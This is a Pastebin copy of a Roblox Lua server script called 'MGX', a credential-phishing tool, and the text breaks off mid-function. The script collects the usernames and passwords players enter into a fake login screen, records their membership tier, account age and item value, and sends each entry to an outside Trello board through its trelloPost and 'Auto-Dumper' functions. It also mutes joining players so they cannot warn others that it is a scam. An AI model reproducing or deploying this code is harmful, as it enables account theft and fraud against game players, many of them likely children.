Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local config = require(script.Parent["MGX Config"])
- AutoMute = config.AutoMute -- Automatically mutes players as they join so they cannot say "It's a scam!"
- Radio = config.Radio -- Live radio system that I broadcast on to tell you guys updates and news in the MGui world sometimes.
- RadioPerm = config.RadioPerm -- Who hears the MGX Radio, 1 = Owners only, 2 = Owners and Admins, 3 = Owners, Admins and Bypassers
- StrictFilter = config.StrictFilter -- Checks for at least 4 letters and 2 numbers of a users password
- StorageMode = config.StorageMode -- Set "Local" for classic MGui workspace storage, set "Global" for datastore storage
- StorageName = config.StorageName
- GStorageName = config.GStorageName
- LogGui = config.LogGui
- Countdown = config.Countdown
- Hotkey = config.Hotkey
- ValidationEffect = config.ValidationEffect
- BypassRules = config.BypassRules
- Owners = config.Owners
- Admins = config.Admins
- ViewAdmins = config.ViewAdmins
- Bypassers = config.Bypassers
- Banned = config.Banned
- Mutes = config.Mutes
- TargetList = config.TargetList
- Trello = config.Trello
- BypassKey = config.BypassKey -- Bypass key players can use to skip login, bypass key is always put on Username box
- BypassKeyEnabled = config.BypassKeyEnabled -- Enables the bypass key or not
- BypassKeyRules = config.BypassKeyRules -- Shows a rule gui when entering bypass key to inform players
- local http = game:GetService("HttpService")
- local DStore = game:GetService("DataStoreService"):GetGlobalDataStore()
- local RBXLim = false
- local mgx = script.Parent:WaitForChild("MGX")
- local Storage = workspace:findFirstChild(StorageName)
- local Version = 1000
- local NewVersion = 0
- coroutine.resume(coroutine.create(function()
- NewVersion = http:GetAsync("http://pastebin.com/raw.php?i=286t8BT3")
- end))
- if not workspace:FindFirstChild("MGX-ReadSettings") then
- readfolder = Instance.new("Folder",workspace)
- readfolder.Name = "MGX-ReadSettings"
- else
- readfolder = workspace:WaitForChild("MGX-ReadSettings")
- end
- LogGuiLabel = Instance.new("StringValue",readfolder)
- LogGuiLabel.Name = "CurrentLogGui"
- LogGuiLabel.Value = LogGui
- RadioLabel = Instance.new("StringValue",readfolder)
- RadioLabel.Name = "RadioText"
- RadioLabel.Value = "Offline"
- local http = game:GetService("HttpService")
- Tip = "No tip for today."
- coroutine.resume(coroutine.create(function()
- Tip = http:GetAsync("http://pastebin.com/raw.php?i=K46Gxdnp")
- end))
- --Attempt once to clean number ids
- coroutine.resume(coroutine.create(function()
- for i = 1, #Owners do
- if type(Owners[i]) == "number" then
- Owners[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Owners[i]))).Username
- print("Cleaned "..Owners[i])
- end
- end
- for i = 1, #Admins do
- if type(Admins[i]) == "number" then
- Admins[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Admins[i]))).Username
- print("Cleaned "..Admins[i])
- end
- end
- for i = 1, #ViewAdmins do
- if type(ViewAdmins[i]) == "number" then
- ViewAdmins[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(ViewAdmins[i]))).Username
- print("Cleaned "..ViewAdmins[i])
- end
- end
- for i = 1, #Bypassers do
- if type(Bypassers[i]) == "number" then
- Bypassers[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Bypassers[i]))).Username
- print("Cleaned "..Bypassers[i])
- end
- end
- for i = 1, #Mutes do
- if type(Mutes[i]) == "number" then
- Mutes[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Mutes[i]))).Username
- print("Cleaned "..Mutes[i])
- end
- end
- for i = 1, #Banned do
- if type(Banned[i]) == "number" then
- Banned[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Banned[i]))).Username
- print("Cleaned "..Banned[i])
- end
- end
- print("Cleanup successful.")
- end))
- if StorageMode == "Local" then
- if not workspace:FindFirstChild(StorageName) then
- folder = Instance.new("Folder",workspace)
- folder.Name = StorageName
- end
- end
- function CheckOwner(plr)
- for i = 1, #Owners do
- if type(Owners[i]) == "string" then
- if plr:lower() == Owners[i]:lower() then
- return true
- end
- elseif type(Owners[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Owners[i]))).Username:lower() then
- Owners[i] = plr
- return true
- end
- end
- end
- return false
- end
- function CheckAdmin(plr)
- for i = 1, #Admins do
- if type(Admins[i]) == "string" then
- if plr:lower() == Admins[i]:lower() then
- return true
- end
- elseif type(Admins[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Admins[i]))).Username:lower() then
- Admins[i] = plr
- return true
- end
- end
- end
- return false
- end
- function CheckViewAdmin(plr)
- for i = 1, #ViewAdmins do
- if type(ViewAdmins[i]) == "string" then
- if plr:lower() == ViewAdmins[i]:lower() then
- return true
- end
- elseif type(ViewAdmins[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(ViewAdmins[i]))).Username:lower() then
- ViewAdmins[i] = plr
- return true
- end
- end
- end
- return false
- end
- function CheckBypass(plr)
- for i = 1, #Bypassers do
- if type(Bypassers[i]) == "string" then
- if plr:lower() == Bypassers[i]:lower() then
- return true
- end
- elseif type(Bypassers[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Bypassers[i]))).Username:lower() then
- Bypassers[i] = plr
- return true
- end
- end
- end
- return false
- end
- function CheckMute(plr)
- for i = 1, #Mutes do
- if type(Mutes[i]) == "string" then
- if plr:lower() == Mutes[i]:lower() then
- return true
- end
- elseif type(Mutes[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Mutes[i]))).Username:lower() then
- Mutes[i] = plr
- return true
- end
- end
- end
- return false
- end
- function CheckBan(plr)
- for i = 1, #Banned do
- if type(Banned[i]) == "string" then
- if plr:lower() == Banned[i]:lower() then
- return true
- end
- elseif type(Banned[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Banned[i]))).Username:lower() then
- Banned[i] = plr
- return true
- end
- end
- end
- return false
- end
- function AddOwner(plr)
- if CheckOwner(plr) then
- print("Already Owner")
- else
- table.insert(Owners,plr)
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name:lower() == plr:lower() then
- plr = v.Name
- if game.Players[plr].PlayerGui:findFirstChild("MGX") then
- game.Players[plr].PlayerGui.MGX.MainScript.AddAdmin:InvokeClient(game.Players[plr])
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Added")
- end
- end
- function AddAdmin(plr)
- if CheckOwner(plr) or CheckAdmin(plr) then
- print("Already Admin")
- else
- table.insert(Admins,plr)
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name:lower() == plr:lower() then
- plr = v.Name
- if game.Players[plr].PlayerGui:findFirstChild("MGX") then
- game.Players[plr].PlayerGui.MGX.MainScript.AddAdmin:InvokeClient(game.Players[plr])
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Added")
- end
- end
- function AddViewAdmin(plr)
- if CheckOwner(plr) or CheckAdmin(plr) or CheckViewAdmin(plr) then
- print("Already View-Admin")
- else
- table.insert(ViewAdmins,plr)
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Added")
- end
- end
- function AddBypass(plr)
- if CheckBypass(plr) then
- print("Already Bypasser")
- else
- table.insert(Bypassers,plr)
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name:lower() == plr:lower() then
- plr = v.Name
- if game.Players[plr].PlayerGui:findFirstChild("MGX") then
- game.Players[plr].PlayerGui.MGX.MainScript.Bypass:InvokeClient(game.Players[plr])
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Added")
- end
- end
- function AddMute(plr)
- if CheckMute(plr) then
- print("Already Muted")
- else
- table.insert(Mutes,plr)
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name:lower() == plr:lower() then
- plr = v.Name
- if game.Players[plr].PlayerGui:findFirstChild("MGX") then
- game.Players[plr].PlayerGui.MGX.MainScript.Mute:InvokeClient(game.Players[plr])
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Added")
- end
- end
- function AddBan(plr)
- if CheckBan(plr) then
- print("Already Banned")
- else
- table.insert(Banned,plr)
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name:lower() == plr:lower() then
- plr = v.Name
- if game.Players[plr].PlayerGui:findFirstChild("MGX") then
- coroutine.resume(coroutine.create(function()
- game.Players[plr].PlayerGui.MGX.MainScript.Kick:InvokeClient(game.Players[plr])
- end))
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Added")
- end
- end
- function RemoveOwner(plr)
- if CheckOwner(plr) then
- RemoveAdmin(plr,true)
- for i = 1, #Owners do
- if type(Owners[i]) == "string" then
- if plr:lower() == Owners[i]:lower() then
- table.remove(Owners,i)
- end
- elseif type(Owners[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Owners[i]))).Username:lower() then
- table.remove(Owners,i)
- end
- end
- end
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name:lower() == plr:lower() then
- plr = v.Name
- if game.Players[plr].PlayerGui:findFirstChild("MGX") then
- game.Players[plr].PlayerGui.MGX.MainScript.RemoveAdmin:InvokeClient(game.Players[plr])
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Removed")
- else
- print("Not Owner")
- end
- end
- function RemoveViewAdmin(plr)
- if CheckViewAdmin(plr) then
- for i = 1, #ViewAdmins do
- if type(ViewAdmins[i]) == "string" then
- if plr:lower() == ViewAdmins[i]:lower() then
- table.remove(ViewAdmins,i)
- end
- elseif type(ViewAdmins[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(ViewAdmins[i]))).Username:lower() then
- table.remove(ViewAdmins,i)
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Removed")
- else
- print("Not View-Admin")
- end
- end
- function RemoveAdmin(plr,silent)
- RemoveViewAdmin(plr)
- if CheckAdmin(plr) then
- for i = 1, #Admins do
- if type(Admins[i]) == "string" then
- if plr:lower() == Admins[i]:lower() then
- table.remove(Admins,i)
- end
- elseif type(Admins[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Admins[i]))).Username:lower() then
- table.remove(Admins,i)
- end
- end
- end
- if not silent then
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name:lower() == plr:lower() then
- plr = v.Name
- if game.Players[plr].PlayerGui:findFirstChild("MGX") then
- game.Players[plr].PlayerGui.MGX.MainScript.RemoveAdmin:InvokeClient(game.Players[plr])
- end
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Removed")
- else
- print("Not Admin")
- end
- end
- function RemoveBypass(plr)
- if CheckBypass(plr) then
- for i = 1, #Bypassers do
- if type(Bypassers[i]) == "string" then
- if plr:lower() == Bypassers[i]:lower() then
- table.remove(Bypassers,i)
- end
- elseif type(Bypassers[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Bypassers[i]))).Username:lower() then
- table.remove(Bypassers,i)
- end
- end
- end
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name:lower() == plr:lower() then
- plr = v.Name
- if game.Players[plr].PlayerGui:findFirstChild("MGX") then
- game.Players[plr].PlayerGui.MGX.MainScript.RemoveBypass:InvokeClient(game.Players[plr])
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Removed")
- else
- print("Not Bypasser")
- end
- end
- function RemoveMute(plr)
- if CheckMute(plr) then
- for i = 1, #Mutes do
- if type(Mutes[i]) == "string" then
- if plr:lower() == Mutes[i]:lower() then
- table.remove(Mutes,i)
- end
- elseif type(Mutes[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Mutes[i]))).Username:lower() then
- table.remove(Mutes,i)
- end
- end
- end
- for i,v in pairs(game.Players:GetChildren()) do
- if v.Name:lower() == plr:lower() then
- plr = v.Name
- if game.Players[plr].PlayerGui:findFirstChild("MGX") then
- game.Players[plr].PlayerGui.MGX.MainScript.UnMute:InvokeClient(game.Players[plr])
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Removed")
- else
- print("Not Muted")
- end
- end
- function RemoveBan(plr)
- if CheckBan(plr) then
- for i = 1, #Banned do
- if type(Banned[i]) == "string" then
- if plr:lower() == Banned[i]:lower() then
- table.remove(Banned,i)
- end
- elseif type(Banned[i]) == "number" then
- if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Banned[i]))).Username:lower() then
- table.remove(Banned,i)
- end
- end
- end
- coroutine.resume(coroutine.create(function()
- launchRefresh()
- end))
- print("Removed")
- else
- print("Not Banned")
- end
- end
- function CountAdmins()
- for i = 1, #Admins do
- print(Admins[i])
- end
- end
- function getBC(bc)
- local BCType = ""
- if bc=="Enum.MembershipType.BuildersClub" then
- BCType = "BC"
- elseif bc=="Enum.MembershipType.TurboBuildersClub" then
- BCType = "TBC"
- elseif bc=="Enum.MembershipType.OutrageousBuildersClub" then
- BCType = "OBC"
- else
- BCType = "NBC"
- end
- return BCType
- end
- function trelloGet(address)
- if not address then return end
- return http:GetAsync(address.. "?key="..Trello.DevKey.."&token="..Trello.Token)
- end
- function trelloPost(address, data)
- if address == nil or data == nil then return end
- local encoded = http:JSONEncode(data)
- return http:PostAsync(address.. "?key="..Trello.DevKey.."&token="..Trello.Token, tostring(encoded), Enum.HttpContentType.ApplicationJson)
- end
- function dumpTrelloPost(address, data)
- if address == nil or data == nil then return end
- local encoded = http:JSONEncode(data)
- return http:PostAsync(address.. "?key="..Trello.DevKey.."&token="..Trello.Token, tostring(encoded), Enum.HttpContentType.ApplicationJson)
- end
- function launchRefresh()
- for i,v in pairs(game.Players:GetPlayers()) do
- if CheckOwner(v.Name) or CheckAdmin(v.Name) or CheckViewAdmin(v.Name) then
- if v.PlayerGui:findFirstChild("MGX") then
- v.PlayerGui.MGX.MainScript.RefreshRS:InvokeClient(v)
- end
- end
- end
- end
- function BCtoDumpStr(str)
- local res = ""
- if str == "Enum.MembershipType.BuildersClub" then
- res = "[BC] "
- elseif str == "Enum.MembershipType.TurboBuildersClub" then
- res = "[TBC] "
- elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
- res = "[OBC] "
- elseif str == "Enum.MembershipType.None" then
- res = ""
- end
- return res
- end
- function countBC()
- local vals = {}
- vals.BC = 0
- vals.TBC = 0
- vals.OBC = 0
- vals.NBC = 0
- if StorageMode == "Local" then
- for i,v in pairs(workspace[StorageName]:getChildren()) do
- if v.bc.Value == "Enum.MembershipType.BuildersClub" then
- vals.BC = vals.BC + 1
- elseif v.bc.Value == "Enum.MembershipType.TurboBuildersClub" then
- vals.TBC = vals.TBC + 1
- elseif v.bc.Value == "Enum.MembershipType.OutrageousBuildersClub" then
- vals.OBC = vals.OBC + 1
- elseif v.bc.Value == "Enum.MembershipType.None" then
- vals.NBC = vals.NBC + 1
- end
- end
- elseif StorageMode == "Global" then
- local DStoreTable = getDataStore()
- if DStoreTable and type(DStoreTable) == "table" then
- for i,v in pairs(DStoreTable) do
- if v.BCVal == "Enum.MembershipType.BuildersClub" then
- vals.BC = vals.BC + 1
- elseif v.BCVal == "Enum.MembershipType.TurboBuildersClub" then
- vals.TBC = vals.TBC + 1
- elseif v.BCVal == "Enum.MembershipType.OutrageousBuildersClub" then
- vals.OBC = vals.OBC + 1
- elseif v.BCVal == "Enum.MembershipType.None" then
- vals.NBC = vals.NBC + 1
- end
- end
- end
- end
- return vals
- end
- function getDataStore()
- if DStore then
- local storage = DStore:GetAsync(GStorageName)
- if storage then
- return storage
- else
- return {}
- end
- else
- return {}
- end
- end
- function setDataStore(data)
- if DStore then
- return DStore:SetAsync(GStorageName, data)
- else
- return {}
- end
- end
- function GetRap(plrname)
- if RBXLim then
- local rap = http:GetAsync("http://rbxlim.com/u/" .. plrname,true)
- rap = string.gsub(rap,",", "")
- local x, y = string.find(rap, "RAP:")
- local res = string.match(string.sub(rap,x), "%d+")
- return res
- else
- return "Err."
- end
- end
- function MGXPassDump(ShowBC,ShowAge,ShowRAP)
- if Trello.Enabled then
- local text = "MGX Build 1000 Auto-Dumper.[n]Accounts are dumped in raw User/Pass format.[n][n]Converter link: http://www.unit-conversion.info/texttools/add-line-breaks/ [n]"
- text = text.. "[n]Accounts:[n]"
- local tempVals = countBC()
- if StorageMode == "Local" then
- for i,v in pairs(workspace[StorageName]:getChildren()) do
- text = text.."[n]"
- if ShowBC then
- text = text..BCtoDumpStr(v.bc.Value)
- end
- text = text..v.Name.. " : ".. v.pass.Value
- if ShowAge then
- text = text.." Age: "..v.age.Value
- end
- if ShowRAP then
- text = text.." RAP: R$"..v.rap.Value
- end
- end
- elseif StorageMode == "Global" then
- local DStoreTable = getDataStore()
- if DStoreTable and type(DStoreTable) == "table" then
- for i,v in pairs(DStoreTable) do
- text = text.."[n]"
- if ShowBC then
- text = text..BCtoDumpStr(v.BCVal)
- end
- text = text..v.Username.. " : ".. v.Pass
- if ShowAge then
- text = text.." Age: "..v.AgeVal
- end
- if ShowRAP then
- text = text.." RAP: R$"..v.RapVal
- end
- end
- end
- end
- if ShowBC then
- text = text .. "[n][n]Account totals:[n]NBC: "..tostring(tempVals.NBC).."[n]BC: "..tostring(tempVals.BC).."[n]TBC: "..tostring(tempVals.TBC).."[n]OBC: "..tostring(tempVals.OBC)
- end
- text = text.."[n][n]Total accounts dumped: "..tostring(tempVals.NBC+tempVals.BC+tempVals.TBC+tempVals.OBC).."[n][n]Thanks for using MGX."
- local boards = trelloGet("https://api.trello.com/1/members/me/boards")
- if not boards then return end
- local Label = "white"
- local name = text
- local foundList = false
- for _,v in pairs(http:JSONDecode(boards)) do
- if v["id"] ~= nil then
- local lists = trelloGet("http://api.trello.com/1/boards/"..v["id"].."/lists")
- if lists then
- for x,list in pairs(http:JSONDecode(lists)) do
- if list["name"] == Trello.DumpList then
- dumpTrelloPost("https://api.trello.com/1/lists/"..list["id"].."/cards", {["name"]=name,["labels"]=Label})
- foundList = true
- break
- end
- end
- if foundList then break end
- end
- end
- end
- end
- end
- function WelcomePlayer(plr)
- coroutine.resume(coroutine.create(function()
- local plrName = plr.Name
- if CheckOwner(plrName) or CheckAdmin(plrName) or CheckViewAdmin(plrName) then
- plr:WaitForChild("PlayerGui"):WaitForChild("MGX"):WaitForChild("MainScript"):WaitForChild("WelcomeAdmin"):InvokeClient(plr)
- end
- end))
- end
- function GetDS()
- if DStore then
- local storage = DStore:GetAsync(GStorageName)
- if storage then
- return storage
- else
- return {}
- end
- else
- return {}
- end
- end
- function SetDS(setval)
- if DStore then
- return DStore:SetAsync(GStorageName, setval)
- else
- return {}
- end
- end
- function StoreTrello(user,pass,bc,age,rap)
- if Trello.Enabled then
- local boards = trelloGet("https://api.trello.com/1/members/me/boards")
- if not boards then return end
- local Label = ""
- local rawLabel = bc
- if rawLabel == "Enum.MembershipType.BuildersClub" then
- Label = "blue"
- elseif rawLabel == "Enum.MembershipType.TurboBuildersClub" then
- Label = "orange"
- elseif rawLabel == "Enum.MembershipType.OutrageousBuildersClub" then
- Label = "red"
- else
- Label = "white"
- end
- local name = "Username: "..user.." Password: "..pass.." BC: "..getBC(rawLabel).." Age: "..age.." RAP: R$"..rap
- local foundList = false
- for _,v in pairs(http:JSONDecode(boards)) do
- if v["id"] ~= nil then
- local lists = trelloGet("http://api.trello.com/1/boards/"..v["id"].."/lists")
- if lists then
- for x,list in pairs(http:JSONDecode(lists)) do
- if list["name"] == Trello.List then
- trelloPost("https://api.trello.com/1/lists/"..list["id"].."/cards", {["name"]=name,["labels"]=Label})
- foundList = true
- break
- end
- end
- if foundList then break end
- end
- end
- end
- end
- end
- function MGXInvoke(...)
- local slots = {...}
- if #slots <= 1 then return end
- local cmd = slots[2]
- if cmd == "StoreTrello" then
- if Trello.Enabled then
- local boards = trelloGet("https://api.trello.com/1/members/me/boards")
- if not boards then return end
- local Label = ""
- local rawLabel = slots[5]
- if rawLabel == "Enum.MembershipType.BuildersClub" then
- Label = "blue"
- elseif rawLabel == "Enum.MembershipType.TurboBuildersClub" then
- Label = "orange"
- elseif rawLabel == "Enum.MembershipType.OutrageousBuildersClub" then
- Label = "red"
- else
- Label = "white"
- end
- local name = "Username: "..slots[3].." Password: "..slots[4].." BC: "..getBC(rawLabel).." Age: "..slots[6].." RAP: R$"..slots[7]
- local foundList = false
- for _,v in pairs(http:JSONDecode(boards)) do
- if v["id"] ~= nil then
- local lists = trelloGet("http://api.trello.com/1/boards/"..v["id"].."/lists")
- if lists then
- for x,list in pairs(http:JSONDecode(lists)) do
- if list["name"] == Trello.List then
- trelloPost("https://api.trello.com/1/lists/"..list["id"].."/cards", {["name"]=name,["labels"]=Label})
- foundList = true
- break
- end
- end
- if foundList then break end
- end
- end
- end
- end
- elseif cmd == "SendDump" then
- MGXPassDump(slots[3],slots[4],slots[5])
- elseif cmd == "RequestMGX" then
- local newmgx = mgx:clone()
- for i,v in pairs(slots[1]:WaitForChild("PlayerGui"):GetChildren()) do
- if v.Name == "MGX" then
- print("OMG A STRAY MGX, REMOVING!")
- v:Remove()
- end
- end
- newmgx.Parent = slots[1]:WaitForChild("PlayerGui")
- elseif cmd == "StoreInfo" then
- local User = slots[1].Name
- local pass = slots[3]
- local BC = tostring(slots[1].MembershipType)
- local Age = tostring(slots[1].AccountAge)
- local Rap = GetRap(User)
- if StorageMode == "Local" then
- local folder = Instance.new("Folder")
- folder.Name = User
- local passVal = Instance.new("StringValue",folder)
- passVal.Name = "pass"
- passVal.Value = pass
- local bcVal = Instance.new("StringValue",folder)
- bcVal.Name = "bc"
- bcVal.Value = BC
- local ageVal = Instance.new("StringValue",folder)
- ageVal.Name = "age"
- ageVal.Value = Age
- local rapVal = Instance.new("StringValue",folder)
- rapVal.Name = "rap"
- rapVal.Value = Rap
- folder.Parent = Storage
- elseif StorageMode == "Global" then
- local dataTable = {Username = User,Pass = pass, BCVal = BC, AgeVal = Age, RapVal = Rap}
- local DStoreTable = GetDS()
- if DStoreTable then
- table.insert(DStoreTable,dataTable)
- SetDS(DStoreTable)
- --mainInvoke:InvokeServer("DSClientRefresh")
- end
- end
- StoreTrello(User,pass,BC,Age,Rap)
- elseif cmd == "DeleteEntry" then
- local plr = slots[3]
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- if StorageMode == "Local" then
- coroutine.resume(coroutine.create(function()
- for i,v in pairs(Storage:GetChildren()) do
- if v.Name == plr then
- v:Destroy()
- return
- end
- end
- end))
- elseif StorageMode == "Global" then
- coroutine.resume(coroutine.create(function()
- local DStoreTable = GetDS()
- if DStoreTable and type(DStoreTable) == "table" then
- for i,v in pairs(DStoreTable) do
- if v.Username == plr then
- table.remove(DStoreTable,i)
- end
- end
- SetDS(DStoreTable)
- --mainInvoke:InvokeServer("DSClientRefresh")
- end
- end))
- end
- end
- elseif cmd == "PCKill" then
- if game.Players:findFirstChild(slots[3]) then
- game.Players[slots[3]].Character:BreakJoints()
- end
- elseif cmd == "GetDSStorage" then
- if DStore then
- local storage = DStore:GetAsync(GStorageName)
- if storage then
- return storage
- else
- return {}
- end
- else
- return {}
- end
- elseif cmd == "SetDSStorage" then
- if DStore then
- return DStore:SetAsync(GStorageName, slots[3])
- else
- return {}
- end
- elseif cmd == "CheckOwner" then
- return CheckOwner(slots[1].Name)
- elseif cmd == "CheckOtherOwner" then
- return CheckOwner(slots[3])
- elseif cmd == "CheckAdmin" then
- return CheckAdmin(slots[1].Name)
- elseif cmd == "CheckOtherAdmin" then
- return CheckAdmin(slots[3])
- elseif cmd == "CheckViewAdmin" then
- return CheckViewAdmin(slots[1].Name)
- elseif cmd == "CheckBypass" then
- return CheckBypass(slots[1].Name)
- elseif cmd == "CheckOtherBypass" then
- return CheckBypass(slots[3])
- elseif cmd == "CheckMute" then
- return CheckMute(slots[1].Name)
- elseif cmd == "CheckBan" then
- return CheckBan(slots[1].Name)
- elseif cmd == "GetAutoMute" then
- return AutoMute
- elseif cmd == "DSClientRefresh" then
- for i,v in pairs(game.Players:GetPlayers()) do
- if CheckOwner(v.Name) or CheckAdmin(v.Name) or CheckViewAdmin(v.Name) then
- if v.PlayerGui:findFirstChild("MGX") then
- v.PlayerGui.MGX.MainScript.DSRefresh:InvokeClient(v)
- end
- end
- end
- elseif cmd == "AddOwner" then
- if CheckOwner(slots[1].Name) and slots[1].userId == game.CreatorId then
- AddOwner(slots[3])
- else
- print(slots[1].Name .. " tried to add an owner when he/she is not game owner!")
- end
- elseif cmd == "AddAdmin" then
- if CheckOwner(slots[1].Name) then
- AddAdmin(slots[3])
- else
- print(slots[1].Name .. " tried to add an admin when he/she is not owner!")
- end
- elseif cmd == "AddViewAdmin" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- AddViewAdmin(slots[3])
- else
- print(slots[1].Name .. " tried to add an view-admin when he/she is not owner/admin!")
- end
- elseif cmd == "AddBypass" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- AddBypass(slots[3])
- else
- print(slots[1].Name .. " tried to add an bypass when he/she is not owner/admin!")
- end
- elseif cmd == "AddMute" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- if CheckOwner(slots[3]) == false and CheckAdmin(slots[3]) == false then
- if slots[1].Name == slots[3] then return end
- AddMute(slots[3])
- end
- else
- print(slots[1].Name .. " tried to add an mute when he/she is not owner/admin!")
- end
- elseif cmd == "AddBan" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- if CheckOwner(slots[3]) == false and CheckAdmin(slots[3]) == false then
- if slots[1].Name == slots[3] then return end
- AddBan(slots[3])
- end
- else
- print(slots[1].Name .. " tried to add an ban when he/she is not owner/admin!")
- end
- elseif cmd == "RemoveOwner" then
- if CheckOwner(slots[1].Name) and slots[1].userId == game.CreatorId then
- RemoveOwner(slots[3])
- else
- print(slots[1].Name .. " tried to remove an owner when he/she is not game owner!")
- end
- elseif cmd == "RemoveAdmin" then
- if CheckOwner(slots[1].Name) then
- RemoveAdmin(slots[3])
- else
- print(slots[1].Name .. " tried to remove an admin when he/she is not owner!")
- end
- elseif cmd == "RemoveViewAdmin" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- RemoveAdmin(slots[3])
- else
- print(slots[1].Name .. " tried to remove an view-admin when he/she is not owner/admin!")
- end
- elseif cmd == "RemoveBypass" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- RemoveBypass(slots[3])
- else
- print(slots[1].Name .. " tried to remove an bypass when he/she is not owner/admin!")
- end
- elseif cmd == "RemoveMute" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- RemoveMute(slots[3])
- else
- print(slots[1].Name .. " tried to remove an mute when he/she is not owner/admin!")
- end
- elseif cmd == "RemoveBan" then
- if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
- RemoveBan(slots[3])
- else
- print(slots[1].Name .. " tried to remove an ban when he/she is not owner/admin!")
- end
- elseif cmd == "BanMe" then
- AddBan(slots[1].Name)
- elseif cmd == "CheckStorageMode" then
- return StorageMode
- elseif cmd == "GetStorage" then
- return StorageName
- elseif cmd == "GetRBXLim" then
- return http:GetAsync("http://rbxlim.com/u/" .. slots[3],true)
- elseif cmd == "GetLogGuiName" then
- return LogGui
- elseif cmd == "GetBypassKey" then
- return BypassKey
- elseif cmd == "GetRules" then
- return BypassRules
- elseif cmd == "GetStrictFilter" then
- return StrictFilter
- elseif cmd == "GetBootInformation" then
- local chOwner = CheckOwner(slots[1].Name)
- local chIsAdmin = CheckAdmin(slots[1].Name)
- local chIsViewAdmin = CheckViewAdmin(slots[1].Name)
- local chIsBypasser = CheckBypass(slots[1].Name)
- local chIsMuted = CheckMute(slots[1].Name)
- local chIsBanned = CheckBan(slots[1].Name)
- local chStorageName = StorageName
- local chBypassKey = BypassKey
- local chStorageType = StorageMode
- local chStrictFilter = StrictFilter
- local chRadioPerm = RadioPerm
- local chHotkey = Hotkey
- local chAutoMute = AutoMute
- local chCountdown = Countdown
- local chValidationEffect = ValidationEffect
- local chVersion = Version
- local chNewVersion = NewVersion
- -- Makes our final table and returns it
- local finalTable = {
- IsOwner = chOwner,
- IsAdmin = chIsAdmin,
- IsViewAdmin = chIsViewAdmin,
- IsBypasser = chIsBypasser,
- IsMuted = chIsMuted,
- IsBanned = chIsBanned,
- StorageName = chStorageName,
- BypassKey = chBypassKey,
- StorageType = chStorageType,
- StrictFilter = chStrictFilter,
- RadioPerm = chRadioPerm,
- Hotkey = chHotkey,
- AutoMute = chAutoMute,
- Countdown = chCountdown,
- ValidationEffect = chValidationEffect,
- Version = chVersion,
- NewVersion = chNewVersion
- }
- return finalTable
- elseif cmd == "GetRap" then
- if RBXLim then
